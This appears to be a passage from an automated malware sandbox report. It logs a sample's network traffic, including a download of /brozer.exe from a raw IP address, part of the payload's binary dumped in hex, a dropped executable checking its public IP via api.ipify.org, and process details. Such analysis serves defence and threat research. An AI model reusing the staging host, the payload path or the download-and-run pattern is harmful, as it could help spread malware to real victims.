Nov 15, 2024 10:28:51.961961985 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961971998 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961992979 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962004900 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962007046 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.962013960 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962023973 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962044954 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.962054014 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962095022 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962097883 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.962105989 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962132931 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962142944 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962152004 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962161064 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962172031 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962176085 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.962182045 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962193966 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962209940 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.962212086 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962225914 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962234974 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962244034 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962259054 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.962260962 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962272882 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962294102 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.962306023 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962316990 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962327003 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962331057 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962335110 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962349892 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.962368011 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962380886 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962387085 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.962404966 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962450027 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.962476015 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962486982 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.962869883 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.002733946 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.002922058 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.003017902 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.003078938 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.003142118 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.003202915 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.003263950 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.003305912 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.003364086 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.003418922 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.003469944 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.003510952 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.003554106 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.003583908 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.052194118 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.052414894 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.052506924 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.052557945 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.052619934 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.052647114 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.057429075 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.057574034 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.057646036 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.057698011 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.067373037 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.067580938 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.067671061 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.067739964 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.067825079 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.067888021 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.067955017 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.067992926 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.068046093 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.068089008 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.068140030 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.068188906 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.068240881 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.068278074 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.072803020 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.072870016 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.118725061 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.118906021 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.119051933 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.119112015 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.119160891 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.119216919 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.119242907 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.166933060 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.167021036 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.208786011 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.208928108 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.209027052 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.209069014 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.213988066 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.214138985 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.254762888 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.255152941 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.302783966 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.302895069 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.305365086 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.305548906 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.305618048 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.305659056 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.310647964 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.310739040 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.310837984 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.310904980 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.310961008 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.354659081 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.354846001 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.394113064 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.394316912 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.394409895 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.394449949 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.395231962 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.395389080 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.395474911 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.395519018 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.395566940 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.395596027 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.399799109 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.399972916 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.400034904 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.400072098 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.442635059 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.442783117 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.475765944 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.476073027 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476186991 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476249933 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476320982 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476383924 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476473093 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476526022 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476574898 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476624012 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476679087 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476732016 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476794958 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476843119 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476893902 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.476919889 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.481190920 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481215000 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481230974 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481240034 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481276989 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481286049 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481329918 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.481348038 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481358051 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481364965 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.481386900 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481395960 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481430054 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.481530905 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.481616020 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481631994 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481684923 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.481784105 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481795073 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481803894 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481812954 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481827021 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481843948 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481853008 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481862068 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481863022 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.481872082 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481889009 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481899023 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481908083 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.481924057 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.481950045 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.482062101 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.532095909 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.532341003 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.532439947 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.532500029 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.532577991 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.532635927 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.532702923 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.532749891 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.532814026 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.532866001 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.532913923 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.532968998 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.533016920 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.533057928 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.556099892 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.556113958 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.556123972 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.556288958 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.556288958 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.556382895 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:52.556418896 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.556484938 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.556544065 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:52.556618929 CET	53976	15666	192.168.2.4	45.130.145.152

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 15, 2024 10:28:45.278686047 CET	192.168.2.4	1.1.1.1	0x67d9	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 15, 2024 10:28:45.285418034 CET	1.1.1.1	192.168.2.4	0x67d9	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 15, 2024 10:28:45.285418034 CET	1.1.1.1	192.168.2.4	0x67d9	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 15, 2024 10:28:45.285418034 CET	1.1.1.1	192.168.2.4	0x67d9	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	150.241.95.163	80	7148	C:\Users\user\Desktop\9RM52QaURq.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 10:28:13.232213974 CET	74	OUT	GET /brozer.exe HTTP/1.1 Host: 150.241.95.163 Connection: Keep-Alive
Nov 15, 2024 10:28:15.136056900 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 15 Nov 2024 09:28:15 GMT Content-Type: application/octet-stream Content-Length: 2632704 Last-Modified: Thu, 14 Nov 2024 19:32:03 GMT Connection: keep-alive ETag: "67365033-282c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 54 97 d1 e9 35 f9 82 e9 35 f9 82 e9 35 f9 82 f9 b1 fa 83 e1 35 f9 82 f9 b1 fd 83 e6 35 f9 82 f9 b1 fc 83 ba 35 f9 82 a2 4d fc 83 48 35 f9 82 a2 4d fa 83 ee 35 f9 82 a2 4d fd 83 fa 35 f9 82 d1 b5 fc 83 eb 35 f9 82 a1 b0 fd 83 cd 35 f9 82 a2 4d f8 83 e2 35 f9 82 e9 35 f8 82 68 35 f9 82 a2 b0 f0 83 fa 35 f9 82 a2 b0 06 82 e8 35 f9 82 a2 b0 fb 83 e8 35 f9 82 52 69 63 68 e9 35 f9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 e8 4f 34 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 6a 03 00 00 d6 24 00 00 00 00 00 f0 d0 02 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$T555555MH5M5M555M55h5555Rich5PEdO4g")j$@(`T'd`(0(p,p(P'8'@.texthj `.rdatap$r$n@@.data(('@.pdatap,0(.'@@.rsrc`( (@@.relocPp("(@B
Nov 15, 2024 10:28:15.136115074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 83 ec 28 48 8d 0d 55 12 28 00 e8 a0 17 03 00 48 8d 0d d9 67 03 00 48 83 c4 28 e9 e8 bd 02 00 48 8d Data Ascii: H(HU(HgH(H1hHgH(H(hHhH(H9h@WAVHhH'H3HD$HLH+HuH$Hl$`H@H:
Nov 15, 2024 10:28:15.136152029 CET	1236	IN	Data Raw: 40 08 4d 85 c0 0f 84 05 01 00 00 48 8b 4b 10 48 85 c9 74 14 48 ff c1 48 89 4b 10 48 8b 43 18 48 ff c8 48 89 43 18 eb 7c 49 8b cc ff 15 13 6e 03 00 4c 8b f8 48 89 7c 24 28 48 85 c0 0f 84 c7 00 00 00 0f b7 70 14 48 83 c6 18 48 03 f0 48 89 74 24 28 Data Ascii: @MHKHtHHKHCHHC\|InLH\|$(HpHHHt$(Df\|$ fE;ws&AHIpujFIHCFHCHKHthHCHt_LCI;rVLM+LI;wHHsHHrmH;tZHKHHKHCHHCLH(Ht$(fAfDt
Nov 15, 2024 10:28:15.136184931 CET	1236	IN	Data Raw: 8b 5b 30 49 8b 73 38 49 8b 7b 40 49 8b e3 41 5f 41 5e 41 5d 41 5c 5d c3 48 8d 43 f0 eb cd cc cc cc cc cc cc cc cc cc cc 40 55 53 41 54 41 55 48 8b ec 48 83 ec 48 48 8b 05 cb f0 27 00 48 33 c4 48 89 45 f0 44 8b ea 4c 8b e1 e8 f9 fc ff ff 48 8b d8 Data Ascii: [0Is8I{@IA_A^A]A\]HC@USATAUHHHH'H3HEDLHHu3Ht$xH$LEHEH}EHUL\|$@HMh3}u}uAAEtH\3L$D3H}HELEEHU
Nov 15, 2024 10:28:15.136220932 CET	1236	IN	Data Raw: d5 04 00 48 89 03 48 8b c3 48 83 c4 20 5b c3 cc cc cc cc cc 48 89 4c 24 08 53 48 83 ec 20 48 8b c2 48 8b d9 48 8d 0d 91 d5 04 00 48 89 0b 48 8d 53 08 0f 57 c0 0f 11 02 48 8d 48 08 e8 ef cc 02 00 90 48 8d 05 8b d5 04 00 48 89 03 48 8b c3 48 83 c4 Data Ascii: HHH [HL$SH HHHHHSWHHHHHH [H(HB$@SH@H'H3HD$8LHHL$ HzvLHHHQWLD$(D$0HL$(ZH&HHHL$8H3H
Nov 15, 2024 10:28:15.136254072 CET	1236	IN	Data Raw: f9 00 10 00 00 72 0b 48 8d 41 27 48 3b c1 76 38 eb b6 e8 1d ab 02 00 4c 8d 46 01 48 89 03 49 8b d6 48 89 73 10 48 8b c8 48 89 7b 18 e8 df 3a 03 00 48 8b c3 48 8b 5c 24 50 48 83 c4 20 41 5e 5f 5e c3 e8 35 e0 01 00 cc e8 83 fa ff ff cc e8 3d fb ff Data Ascii: rHA'H;v8LFHIHsHH{:HH\$PH A^_^5=@SUVWAWH HiILHL;wHHvH9HqH{:H>H A__^][HH;HLt$hHH;wEHHHH+H;w4HHH;HBHOHu
Nov 15, 2024 10:28:15.136288881 CET	1236	IN	Data Raw: 5e 5e 5d 5b c3 e8 b2 f6 ff ff cc e8 ec f5 ff ff cc e8 92 db 01 00 cc cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 56 57 41 56 48 83 ec 40 48 8b 05 57 e2 27 00 48 33 c4 48 89 44 24 38 48 8b e9 33 d2 48 8d 4c 24 30 e8 b4 ff 02 00 90 48 8b 35 58 00 Data Ascii: ^^][H\$Hl$VWAVH@HW'H3HD$8H3HL$0H5X(Ht$ H=\(Hu>3HL$(H9=C(u;'3'HH*(HL$(H=(HML4H;ysHAIHus3y$tH;xsH@IHuQHtHGHH
Nov 15, 2024 10:28:15.136322975 CET	1236	IN	Data Raw: e8 bf c7 01 00 4c 89 75 07 48 8b 4d f7 48 85 c9 74 05 e8 ad c7 01 00 4c 89 75 f7 48 8b 4d e7 48 85 c9 74 05 e8 9b c7 01 00 4c 89 75 e7 48 8b 4d d7 48 85 c9 74 05 e8 89 c7 01 00 4c 89 75 d7 48 8b 4d c7 48 85 c9 74 05 e8 77 c7 01 00 4c 89 75 c7 48 Data Ascii: LuHMHtLuHMHtLuHMHtLuHMHtwLuHMHteLuHM8L$I[(Is8IA^_]HB4wq@SH HHtHKHK HK(H [H(H=44
Nov 15, 2024 10:28:15.136357069 CET	1236	IN	Data Raw: cc cc cc cc 40 53 48 83 ec 20 80 79 18 00 49 8b d9 4c 8b ca 48 8b c1 74 3a 48 8b 49 20 48 85 c9 74 31 49 8b 10 48 85 d2 79 06 44 0f b7 c2 eb 0b 4c 8b 40 08 48 83 c2 02 4c 03 c2 48 8b 01 49 8b d1 ff 10 48 85 c0 74 0b 48 89 03 b0 01 48 83 c4 20 5b Data Ascii: @SH yILHt:HI Ht1IHyDL@HLHIHtHH [2H [LD$SUVWAUAVH83MMHHHtm@u_MZf9uUHcG<=JHHu5;PEu-Ht(HtDDT$ DSDT$
Nov 15, 2024 10:28:15.136395931 CET	1236	IN	Data Raw: f8 00 00 00 48 8b cf e8 84 18 00 00 84 c0 0f 85 12 01 00 00 41 bc 0b 02 00 00 66 44 39 67 18 0f 85 01 01 00 00 4c 89 b4 24 98 00 00 00 48 8d 05 7c 2a 07 00 48 85 f6 48 89 44 24 20 4c 8d 74 24 20 48 89 5c 24 30 4c 0f 45 f6 48 89 6c 24 38 33 f6 ba Data Ascii: HAfD9gL$H\|HHD$ Lt$ H\$0LEHl$83@Ht$Aft$E@t$G$uHfD9;uBHcC<=7H<Hu"?PEuHtHuwHLt$HfA;HD$(HD$@L$Hu8L
Nov 15, 2024 10:28:15.141387939 CET	520	IN	Data Raw: 00 84 c0 0f 85 b6 00 00 00 bf 4d 5a 00 00 66 39 3b 0f 85 a8 00 00 00 48 63 43 3c 3d 00 04 00 00 0f 8f 99 00 00 00 48 8d 34 03 ba f8 00 00 00 48 8b ce e8 85 13 00 00 84 c0 0f 85 80 00 00 00 81 3e 50 45 00 00 75 78 48 85 f6 74 73 ba 40 00 00 00 48 Data Ascii: MZf9;HcC<=H4H>PEuxHts@Hcubf9;u]HcC<=RH<H>u=?PEu5Ht0H u3f9OHDH\$0Ht$8H _H\$03Ht$8H _H\$Hl$Ht$WH H

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	53977	172.67.74.152	443	3760	C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 09:28:45 UTC	100	OUT	GET / HTTP/1.1 Accept: text/html; text/plain; / Host: api.ipify.org Cache-Control: no-cache
2024-11-15 09:28:46 UTC	399	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 09:28:46 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8e2e3687d9f36c40-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1146&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=738&delivery_rate=2437710&cwnd=244&unsent_bytes=0&cid=21cf34fd05db37b1&ts=250&x=0"
2024-11-15 09:28:46 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 39 Data Ascii: 173.254.250.89

Target ID:	0
Start time:	04:28:04
Start date:	15/11/2024
Path:	C:\Users\user\Desktop\9RM52QaURq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\9RM52QaURq.exe"
Imagebase:	0x7a0000
File size:	37'376 bytes
MD5 hash:	9913A016528F9D9C4AAC737C6A06C596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:28:31
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
